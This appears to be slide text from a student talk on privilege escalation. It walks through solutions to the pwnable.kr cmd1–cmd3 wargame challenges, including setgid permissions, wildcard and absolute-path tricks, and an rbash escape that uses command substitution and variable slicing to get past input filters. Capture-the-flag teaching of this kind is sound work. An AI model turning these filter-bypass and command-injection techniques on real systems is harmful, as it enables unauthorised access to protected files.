

Privilege Escalation Attack

Prism Summer Hacking Event

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Agenda

- Introduction to pwnable.kr
- 2. Introduction to privilege escalation attack
- 3. A tour through the **cmd** series in pwnable.kr
 - cmd1
 - cmd2
 - cmd3

<u>pwnable.kr</u>

- A website providing various challenges of system exploiting.
- For each challenge, there is a *flag* file. The players need to read the file, and submit the flag to get credits.
- To read the file, you should have enough knowledge in:
 - programming
 - reverse-engineering
 - computer systems
 - ...
- Use cmd series as an example(3 challenges)

Concept

 The attackers make use of some system vulnerabilities to get a higher privilege than they originally have.

Just for fun

- I want to add some toxic code to Linux kernel, but I don't have the privilege to modify its source code
- I fix several patches, and then I become a contributor in Linux community
- Finally, I can do damage to the kernel!

This could really happen.

The Linux community is built on the integrity of the contributors themselves.


Real world PEA

- SQL Injection: take care of user input!
- Vulnerability of S-Permission
 - The basis of the cmd series
 - Today's hero

Preparation: Linux file permission

- File's permission types:
 - read(r)
 - write(w)
 - execute(x)
- File's permission groups
 - owner/user permission: User who owns this file
 - Group permission: Users in the group
 - Other permission: Users not owner, not in the group
- The "groups" command shows all the permission groups for the current users.

Preparation: Understand "Is -I"



Preparation: Understand "Is -I"

```
$ Is -I
-rwxr-xr-- 1 root bar 4096 2021-07-15 00:00:00 foo.py
```

What permissions does the current user have on foo.py?

```
$ groups
bar r-x (group permission)
```

What permissions does the current user have on foo.py?

```
$ groups
```

baz r-- (other permission)

cmd1

Background

```
\lambda ssh cmd1@pwnable.kr -p2222 cmd1@pwnable.kr's password:
```

- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal

You have mail.

Last login: Wed Jul 14 16:14:30 2021 from 2.53.24.138

cmd1@pwnable:~\$ ls
cmd1 cmd1.c flag

cmd1@pwnable:~\$ cat flag cat: flag: Permission denied

Permission

```
cmd1@pwnable:~$ ls -l
total 20
-r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14 2015 cmd1
-rw-r--r-- 1 root root 320 Mar 23 2018 cmd1.c
-r--r-- 1 root cmd1_pwn 48 Jul 14 2015 flag
cmd1@pwnable:~$ groups
cmd1
```

- Current user is in group cmd1
- cmd1 isn't permitted to read flag. => cmd1@pwnable:~\$ cat flag X

S-Permission!

```
cmd1@pwnable:~$ ls -l
total 20
-r-xr-sr-x_1 root cmd1_pwn 8513 Jul 14 2015 cmd1
-rw-r--r- 1 root root 320 Mar 23 2018 cmd1.c
-r--r--- 1 root cmd1_pwn 48 Jul 14 2015 flag
cmd1@pwnable:~$ groups
cmd1
```

- cmd1 is permitted to execute cmd1
- cmd1_pwn has read permission on flag
- cmd1_pwn has s-permission on cmd1!
 - "s-permission": when another user X executes cmd1, then during execution X will get cmd1_pwn's privilege.

privilege escalation!

Take a look at cmd1.c

```
#include <stdio.h>
     #include <string.h>
     int filter(char* cmd){
             int r=0;
             r += strstr(cmd, "flag")!=0;
             r += strstr(cmd, "sh")!=0;
             r += strstr(cmd, "tmp")!=0;
             return r;
     int main(int argc, char* argv[], char** envp){
12
             putenv("PATH=/thankyouverymuch");
             if(filter(argv[1])) return 0;
13
14
             system( argv[1] );
             return 0:
17
```

cmd1.c's limitations

- flag sh tmp can't be included in cmd1's input.
- PATH is set to /thankyouverymuch

```
cmd1@pwnable:~$./cmd1 "cat flag" ×
```

Solution & Explanation

```
cmd1@pwnable:~$ ./cmd1 "/bin/cat fla*" V
```

- When cmd1 is executed, it has the permission to read file flag!
- /bin/cat is the absolute path to cat command
- fla* use wildcat(*) to match all files started with "fla"

Hack cmd1

C:\Users\frederickzhang\Desktop λ ssh cmd1@pwnable.kr -p2222













Learn from Cmd1



S-Permission vulnerability enables us to hack

PATH variable

Wildcat matching (*)

cmd2

Background

```
λ ssh cmd2@pwnable.kr -p2222 cmd2@pwnable.kr's password:
```

- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal You have mail.

```
Last login: Wed Jul 14 12:13:14 2021 from 5.29.55.77 cmd2@pwnable:~$ ls cmd2 cmd2.c flag
```

Take a look at cmd2.c

cmd2.c's limitation

- More strict filter
 - = PATH export / `flag
- PATH is set to another useless directory

```
cmd2@pwnable:~$ ./cmd2 "cat flag" ×
```

cmd2@pwnable:~\$./cmd2 "/bin/cat fla*" X

Can't rely on /bin/cat

```
cmd2@pwnable:~$ ./cmd2 "cat flag" ×
```

```
cmd2@pwnable:~$ ./cmd2 "/bin/cat fla*" X
```

Is there any other **cat**? -Yes!

Solution & Explanation

```
cmd2@pwnable:~$ ./cmd2 "command -p cat fla*" V
```

The "command" command

- It works even if there is no PATH
- It executes the built-in shell command

Hack cmd2

cmd2@pwnable:~\$



















Learn from Cmd2



The "command" command

Next time you mess up the PATH variable or delete the binaries by mistake, don't worry!

cmd3

Description

cmd3.py readme

```
ssh cmd3@pwnable.kr -p2222
cmd3@pwnable.kr's password:
   0
                                  O
- Site admin : daehee87@gatech.edu
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now

    files under /tmp can be erased anytime. make your directory under

tmp

    to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal

You have new mail.
Last login: Wed Jul 14 23:49:32 2021 from 218.109.201.172
cmd3@pwnable:~$ ls
```


Description

```
cmd3@pwnable:~$ nc 0 9023
total 5884
drwxr-x--- 5 root cmd3 pwn 4096 Mar 15 2016 .
drwxr-xr-x 115 root root 4096 Dec 22 2020 ...
d----- 2 root root 4096 Jan 22 2016 .bash history
-rwxr-x--- 1 root cmd3 pwn 1421 Mar 11 2016 cmd3.py
drwx-wx--- 2 root cmd3 pwn 20480 Jul 14 23:55 flagbox
drwxr-x--- 2 root cmd3 pwn 4096 Jan 22 2016 jail
-rw-r--r-- 1 root root 5977979 Jul 14 23:56 log
-rw-r---- 1 root root
                             764 Mar 10 2016 super.pl
total 8
drwxr-x--- 2 root cmd3 pwn 4096 Jan 22 2016 .
drwxr-x--- 5 root cmd3 pwn 4096 Mar 15 2016 ..
lrwxrwxrwx 1 root root 8 Jan 22 2016 cat -> /bin/cat
lrwxrwxrwx 1 root root 11 Jan 22 2016 id -> /usr/bin/id
lrwxrwxrwx 1 root root 7 Jan 22 2016 ls -> /bin/ls
your password is in flagbox/KSH99IP2KFTJVIKYECPEW4QT6GXRE4EU
cmd3$
```

Take a look at cmd3.py

- The cmd3.py script generate a random filename, and a random password.
- It stores <random password> into flagbox/<random filename>

cmd3.py's logic



cmd3.py's interface

```
cmd3@pwnable:~$ nc 0 9023
total 5884
drwxr-x--- 5 root cmd3 pwn 4096 Mar 15
                                         2016 .
drwxr-xr-x 115 root root
                           4096 Dec 22 2020 ...
d----- 2 root root 4096 Jan 22 2016 .bash_history
-rwxr-x--- 1 root cmd3_pwn 1421 Mar 11 2016 cmd3.py
drwx-wx--- 2 root cmd3_pwn 20480 Jul 14 23:55 flagbox
drwxr-x--- 2 root cmd3 pwn 4096 Jan 22 2016 jail
           1 root root 5977979 Jul 14 23:56 log
           1 root root
                              764 Mar 10 2016 super.pl
total 8
drwxr-x--- 2 root cmd3 pwn 4096 Jan 22 2016 .
drwxr-x--- 5 root cmd3 pwn 4096 Mar 15 2016 ..
lrwxrwxrwx 1 root root 8 Jan 22 2016 cat -> /bin/cat
lrwxrwxrwx 1 root root 11 Jan 22 2016 id -> /usr/bin/id
lrwxrwxrwx 1 root root 7 Jan 22 2016 ls -> /bin/ls
your password is in flagbox/KSH99IP2KFTJVIKYECPEW4QT6GXRE4EU
cmd3$
```

- Files in current directory
- 2. Commands in jail dir
- 3. Where the password is stored
- 4. We enter command/password here

Cmd3.py's limitations

Cmd3

- Most strict filter
 - [a-zA-Z0-9] =>What are not forbidden?
 [`!&|""*] /?<;_(){}\$#
 PATH=jail
- Use rbash
 - Command name can't include "/"
 - So we can only use several commands in PATH
 - . .. cat id ls
 - Remind that the command input can include "/"

Our goal

Even if today's end of the world, our goal is to achieve: cat flagbox/<random filename>

longth

length:32

Problem 1 – replace file path

cmd3\$ cat flagbox/<random filename>



cmd3\$ cat ???????/????????????????????

The server environment is shared by all players, thus there are **more than one file in flagbox**, which means this pattern can't match our file.

Problem 1 – replace file path

cmd3\$ cat flagbox/<random filename>

Ideas

- We can store this command into a file, and then read & execute it.
- Remind that every user has write permission to /tmp/ directory

Problem 1 – replace file path

```
cmd3@pwnable:~$ echo "cat flagbox/<random filename>" > /tmp/__

cmd3$ $ (cat /???/__) \Rightarrow $ (cat /tmp/__)

\Rightarrow cat flagbox/<random filename>
```

⇒<random password>

Explain

- cmd3@pwnable:~\$ means outside the cmd3.py script, cmd3\$ means in the cmd3.py. => we can achieve this with 2 terminals!
- /???/__ matches /tmp/__
- \$(<expr>) first executes <expr>, then executes the result of <expr>

Problem 2 – blankspace

```
cmd3@pwnable:~$ echo "cat flagbox/<random filename>" > /tmp/__
cmd3$ $(cat /???/__)
```

< input redirection operation

Problem 2 – blankspace

```
cmd3@pwnable:~$ echo "cat flagbox/<random filename>" > /tmp/__
cmd3$ $(cat /???/__)
cmd3$ $(cat </???/__)
```

Problem 3 – cat

```
cmd3@pwnable:~$ echo "cat flagbox/<random filename>" > /tmp/__
cmd3$ $(cat</???/ )
```

Ideas

- The "cat" can be stored in a variable.
- The variable \$_ can record the last command name we use.
 - The rbash will not execute commands whose name including "/", but \$_ still record them!
- jail/cat is also a file, so it can be found by wildcat matching.

Problem 3 – cat

cmd3@pwnable:~\$ echo "cat flagbox/<random filename>" > /tmp/__

```
cmd3$ __=${_#?????}
cmd3$ $($__</???/__)
```

cmd3\$????/???

Explain


- ????/??? matches jail/cat
- jail/cat won't be executed by rbash, but "jail/cat" is recorded in \$_
- \${_#????} first matches the first 5 characters of "jail/cat", then use the remaining as the result. So \$__ stores "cat".

Our final solution

```
cmd3@pwnable:~$ echo "cat flagbox/<filename>" > /tmp/__
```

Cmd3

Hack cmd3 now



Learn from Cmd3



rbash

The tmp dir

wildcat (?)

\${var#<pattern>} getting substr

\$(<expr>) first execute <expr>, then execute the result of <expr>



Thanks for watching! Questions?